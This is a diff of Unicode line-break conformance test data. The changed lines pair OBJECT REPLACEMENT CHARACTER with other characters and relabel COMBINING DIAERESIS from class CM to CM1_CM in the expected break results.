-× FFFC × 0308 × 0020 × 0021 ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
+× FFFC × 0308 × 0021 ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [9.0] COMBINING DIAERESIS (CM1_CM) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
+× FFFC × 0308 × 0020 × 0021 ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
× FFFC × 00A0 ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [12.1] NO-BREAK SPACE (GL) ÷ [0.3]
× FFFC × 0020 ÷ 00A0 ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [7.01] SPACE (SP) ÷ [18.0] NO-BREAK SPACE (GL) ÷ [0.3]
-× FFFC × 0308 × 00A0 ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [9.0] COMBINING DIAERESIS (CM) × [12.2] NO-BREAK SPACE (GL) ÷ [0.3]
-× FFFC × 0308 × 0020 ÷ 00A0 ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] NO-BREAK SPACE (GL) ÷ [0.3]
+× FFFC × 0308 × 00A0 ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [9.0] COMBINING DIAERESIS (CM1_CM) × [12.2] NO-BREAK SPACE (GL) ÷ [0.3]
+× FFFC × 0308 × 0020 ÷ 00A0 ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] NO-BREAK SPACE (GL) ÷ [0.3]
× FFFC ÷ AC00 ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) ÷ [20.02] HANGUL SYLLABLE GA (H2) ÷ [0.3]
× FFFC × 0020 ÷ AC00 ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
-× FFFC × 0308 ÷ AC00 ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [9.0] COMBINING DIAERESIS (CM) ÷ [20.02] HANGUL SYLLABLE GA (H2) ÷ [0.3]
-× FFFC × 0308 × 0020 ÷ AC00 ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
+× FFFC × 0308 ÷ AC00 ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [20.02] HANGUL SYLLABLE GA (H2) ÷ [0.3]
+× FFFC × 0308 × 0020 ÷ AC00 ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
× FFFC ÷ AC01 ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) ÷ [20.02] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
× FFFC × 0020 ÷ AC01 ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
-× FFFC × 0308 ÷ AC01 ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [9.0] COMBINING DIAERESIS (CM) ÷ [20.02] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
-× FFFC × 0308 × 0020 ÷ AC01 ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
+× FFFC × 0308 ÷ AC01 ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [20.02] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
+× FFFC × 0308 × 0020 ÷ AC01 ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
× FFFC ÷ 05D0 ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) ÷ [20.02] HEBREW LETTER ALEF (HL) ÷ [0.3]
× FFFC × 0020 ÷ 05D0 ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [7.01] SPACE (SP) ÷ [18.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
-× FFFC × 0308 ÷ 05D0 ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [9.0] COMBINING DIAERESIS (CM) ÷ [20.02] HEBREW LETTER ALEF (HL) ÷ [0.3]
-× FFFC × 0308 × 0020 ÷ 05D0 ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
+× FFFC × 0308 ÷ 05D0 ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [20.02] HEBREW LETTER ALEF (HL) ÷ [0.3]
+× FFFC × 0308 × 0020 ÷ 05D0 ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
× FFFC ÷ 002D ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) ÷ [20.02] HYPHEN-MINUS (HY) ÷ [0.3]
× FFFC × 0020 ÷ 002D ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [7.01] SPACE (SP) ÷ [18.0] HYPHEN-MINUS (HY) ÷ [0.3]
-× FFFC × 0308 ÷ 002D ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [9.0] COMBINING DIAERESIS (CM) ÷ [20.02] HYPHEN-MINUS (HY) ÷ [0.3]
-× FFFC × 0308 × 0020 ÷ 002D ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HYPHEN-MINUS (HY) ÷ [0.3]
+× FFFC × 0308 ÷ 002D ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [20.02] HYPHEN-MINUS (HY) ÷ [0.3]
+× FFFC × 0308 × 0020 ÷ 002D ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HYPHEN-MINUS (HY) ÷ [0.3]
× FFFC ÷ 231A ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) ÷ [20.02] WATCH (ID) ÷ [0.3]
× FFFC × 0020 ÷ 231A ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [7.01] SPACE (SP) ÷ [18.0] WATCH (ID) ÷ [0.3]
-× FFFC × 0308 ÷ 231A ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [9.0] COMBINING DIAERESIS (CM) ÷ [20.02] WATCH (ID) ÷ [0.3]
-× FFFC × 0308 × 0020 ÷ 231A ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] WATCH (ID) ÷ [0.3]
+× FFFC × 0308 ÷ 231A ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [20.02] WATCH (ID) ÷ [0.3]
+× FFFC × 0308 × 0020 ÷ 231A ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] WATCH (ID) ÷ [0.3]
× FFFC ÷ 2024 ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) ÷ [20.02] ONE DOT LEADER (IN) ÷ [0.3]
× FFFC × 0020 ÷ 2024 ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [7.01] SPACE (SP) ÷ [18.0] ONE DOT LEADER (IN) ÷ [0.3]
-× FFFC × 0308 ÷ 2024 ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [9.0] COMBINING DIAERESIS (CM) ÷ [20.02] ONE DOT LEADER (IN) ÷ [0.3]
-× FFFC × 0308 × 0020 ÷ 2024 ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] ONE DOT LEADER (IN) ÷ [0.3]
+× FFFC × 0308 ÷ 2024 ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [20.02] ONE DOT LEADER (IN) ÷ [0.3]
+× FFFC × 0308 × 0020 ÷ 2024 ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] ONE DOT LEADER (IN) ÷ [0.3]
× FFFC × 002C ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [13.02] COMMA (IS) ÷ [0.3]
× FFFC × 0020 × 002C ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [7.01] SPACE (SP) × [13.02] COMMA (IS) ÷ [0.3]
-× FFFC × 0308 × 002C ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [9.0] COMBINING DIAERESIS (CM) × [13.03] COMMA (IS) ÷ [0.3]
-× FFFC × 0308 × 0020 × 002C ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [13.02] COMMA (IS) ÷ [0.3]
+× FFFC × 0308 × 002C ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [9.0] COMBINING DIAERESIS (CM1_CM) × [13.03] COMMA (IS) ÷ [0.3]
+× FFFC × 0308 × 0020 × 002C ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [13.02] COMMA (IS) ÷ [0.3]
× FFFC ÷ 1100 ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) ÷ [20.02] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
× FFFC × 0020 ÷ 1100 ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [7.01] SPACE (SP) ÷ [18.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
-× FFFC × 0308 ÷ 1100 ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [9.0] COMBINING DIAERESIS (CM) ÷ [20.02] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
-× FFFC × 0308 × 0020 ÷ 1100 ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
+× FFFC × 0308 ÷ 1100 ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [20.02] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
+× FFFC × 0308 × 0020 ÷ 1100 ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
× FFFC ÷ 11A8 ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) ÷ [20.02] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
× FFFC × 0020 ÷ 11A8 ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
-× FFFC × 0308 ÷ 11A8 ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [9.0] COMBINING DIAERESIS (CM) ÷ [20.02] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
-× FFFC × 0308 × 0020 ÷ 11A8 ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
+× FFFC × 0308 ÷ 11A8 ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [20.02] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
+× FFFC × 0308 × 0020 ÷ 11A8 ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
× FFFC ÷ 1160 ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) ÷ [20.02] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
× FFFC × 0020 ÷ 1160 ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
-× FFFC × 0308 ÷ 1160 ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [9.0] COMBINING DIAERESIS (CM) ÷ [20.02] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
-× FFFC × 0308 × 0020 ÷ 1160 ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
+× FFFC × 0308 ÷ 1160 ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [20.02] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
+× FFFC × 0308 × 0020 ÷ 1160 ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
× FFFC × 000A ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
× FFFC × 0020 × 000A ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [7.01] SPACE (SP) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
-× FFFC × 0308 × 000A ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [9.0] COMBINING DIAERESIS (CM) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
-× FFFC × 0308 × 0020 × 000A ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
+× FFFC × 0308 × 000A ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [9.0] COMBINING DIAERESIS (CM1_CM) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
+× FFFC × 0308 × 0020 × 000A ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
× FFFC × 0085 ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
× FFFC × 0020 × 0085 ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [7.01] SPACE (SP) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
-× FFFC × 0308 × 0085 ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [9.0] COMBINING DIAERESIS (CM) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
-× FFFC × 0308 × 0020 × 0085 ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
+× FFFC × 0308 × 0085 ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [9.0] COMBINING DIAERESIS (CM1_CM) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
+× FFFC × 0308 × 0020 × 0085 ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
× FFFC ÷ 17D6 ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) ÷ [20.02] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
× FFFC × 0020 ÷ 17D6 ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [7.01] SPACE (SP) ÷ [18.0] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
-× FFFC × 0308 ÷ 17D6 ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [9.0] COMBINING DIAERESIS (CM) ÷ [20.02] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
-× FFFC × 0308 × 0020 ÷ 17D6 ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
+× FFFC × 0308 ÷ 17D6 ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [20.02] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
+× FFFC × 0308 × 0020 ÷ 17D6 ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
× FFFC ÷ 0030 ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) ÷ [20.02] DIGIT ZERO (NU) ÷ [0.3]
× FFFC × 0020 ÷ 0030 ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [7.01] SPACE (SP) ÷ [18.0] DIGIT ZERO (NU) ÷ [0.3]
-× FFFC × 0308 ÷ 0030 ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [9.0] COMBINING DIAERESIS (CM) ÷ [20.02] DIGIT ZERO (NU) ÷ [0.3]
-× FFFC × 0308 × 0020 ÷ 0030 ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] DIGIT ZERO (NU) ÷ [0.3]
+× FFFC × 0308 ÷ 0030 ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [20.02] DIGIT ZERO (NU) ÷ [0.3]
+× FFFC × 0308 × 0020 ÷ 0030 ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] DIGIT ZERO (NU) ÷ [0.3]
× FFFC ÷ 0028 ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) ÷ [20.02] LEFT PARENTHESIS (OP) ÷ [0.3]
× FFFC × 0020 ÷ 0028 ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [7.01] SPACE (SP) ÷ [18.0] LEFT PARENTHESIS (OP) ÷ [0.3]
-× FFFC × 0308 ÷ 0028 ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [9.0] COMBINING DIAERESIS (CM) ÷ [20.02] LEFT PARENTHESIS (OP) ÷ [0.3]
-× FFFC × 0308 × 0020 ÷ 0028 ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] LEFT PARENTHESIS (OP) ÷ [0.3]
+× FFFC × 0308 ÷ 0028 ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [20.02] LEFT PARENTHESIS (OP) ÷ [0.3]
+× FFFC × 0308 × 0020 ÷ 0028 ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] LEFT PARENTHESIS (OP) ÷ [0.3]
× FFFC ÷ 0025 ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) ÷ [20.02] PERCENT SIGN (PO) ÷ [0.3]
× FFFC × 0020 ÷ 0025 ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [7.01] SPACE (SP) ÷ [18.0] PERCENT SIGN (PO) ÷ [0.3]
-× FFFC × 0308 ÷ 0025 ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [9.0] COMBINING DIAERESIS (CM) ÷ [20.02] PERCENT SIGN (PO) ÷ [0.3]
-× FFFC × 0308 × 0020 ÷ 0025 ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] PERCENT SIGN (PO) ÷ [0.3]
+× FFFC × 0308 ÷ 0025 ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [20.02] PERCENT SIGN (PO) ÷ [0.3]
+× FFFC × 0308 × 0020 ÷ 0025 ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] PERCENT SIGN (PO) ÷ [0.3]
× FFFC ÷ 0024 ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) ÷ [20.02] DOLLAR SIGN (PR) ÷ [0.3]
× FFFC × 0020 ÷ 0024 ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [7.01] SPACE (SP) ÷ [18.0] DOLLAR SIGN (PR) ÷ [0.3]
-× FFFC × 0308 ÷ 0024 ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [9.0] COMBINING DIAERESIS (CM) ÷ [20.02] DOLLAR SIGN (PR) ÷ [0.3]
-× FFFC × 0308 × 0020 ÷ 0024 ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] DOLLAR SIGN (PR) ÷ [0.3]
+× FFFC × 0308 ÷ 0024 ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [20.02] DOLLAR SIGN (PR) ÷ [0.3]
+× FFFC × 0308 × 0020 ÷ 0024 ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] DOLLAR SIGN (PR) ÷ [0.3]
× FFFC × 0022 ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [19.01] QUOTATION MARK (QU) ÷ [0.3]
× FFFC × 0020 ÷ 0022 ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [7.01] SPACE (SP) ÷ [18.0] QUOTATION MARK (QU) ÷ [0.3]
-× FFFC × 0308 × 0022 ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [9.0] COMBINING DIAERESIS (CM) × [19.01] QUOTATION MARK (QU) ÷ [0.3]
-× FFFC × 0308 × 0020 ÷ 0022 ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] QUOTATION MARK (QU) ÷ [0.3]
+× FFFC × 0308 × 0022 ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [9.0] COMBINING DIAERESIS (CM1_CM) × [19.01] QUOTATION MARK (QU) ÷ [0.3]
+× FFFC × 0308 × 0020 ÷ 0022 ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] QUOTATION MARK (QU) ÷ [0.3]
× FFFC × 0020 ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [7.01] SPACE (SP) ÷ [0.3]
× FFFC × 0020 × 0020 ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [7.01] SPACE (SP) × [7.01] SPACE (SP) ÷ [0.3]
-× FFFC × 0308 × 0020 ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [0.3]
-× FFFC × 0308 × 0020 × 0020 ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [7.01] SPACE (SP) ÷ [0.3]
+× FFFC × 0308 × 0020 ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [0.3]
+× FFFC × 0308 × 0020 × 0020 ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [7.01] SPACE (SP) ÷ [0.3]
× FFFC × 002F ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [13.02] SOLIDUS (SY) ÷ [0.3]
× FFFC × 0020 × 002F ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [7.01] SPACE (SP) × [13.02] SOLIDUS (SY) ÷ [0.3]
-× FFFC × 0308 × 002F ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [9.0] COMBINING DIAERESIS (CM) × [13.03] SOLIDUS (SY) ÷ [0.3]
-× FFFC × 0308 × 0020 × 002F ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [13.02] SOLIDUS (SY) ÷ [0.3]
+× FFFC × 0308 × 002F ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [9.0] COMBINING DIAERESIS (CM1_CM) × [13.03] SOLIDUS (SY) ÷ [0.3]
+× FFFC × 0308 × 0020 × 002F ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [13.02] SOLIDUS (SY) ÷ [0.3]
× FFFC × 2060 ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [11.01] WORD JOINER (WJ) ÷ [0.3]
× FFFC × 0020 × 2060 ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [7.01] SPACE (SP) × [11.01] WORD JOINER (WJ) ÷ [0.3]
-× FFFC × 0308 × 2060 ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [9.0] COMBINING DIAERESIS (CM) × [11.01] WORD JOINER (WJ) ÷ [0.3]
-× FFFC × 0308 × 0020 × 2060 ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [11.01] WORD JOINER (WJ) ÷ [0.3]
+× FFFC × 0308 × 2060 ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [9.0] COMBINING DIAERESIS (CM1_CM) × [11.01] WORD JOINER (WJ) ÷ [0.3]
+× FFFC × 0308 × 0020 × 2060 ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [11.01] WORD JOINER (WJ) ÷ [0.3]
× FFFC × 200B ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
× FFFC × 0020 × 200B ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [7.01] SPACE (SP) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
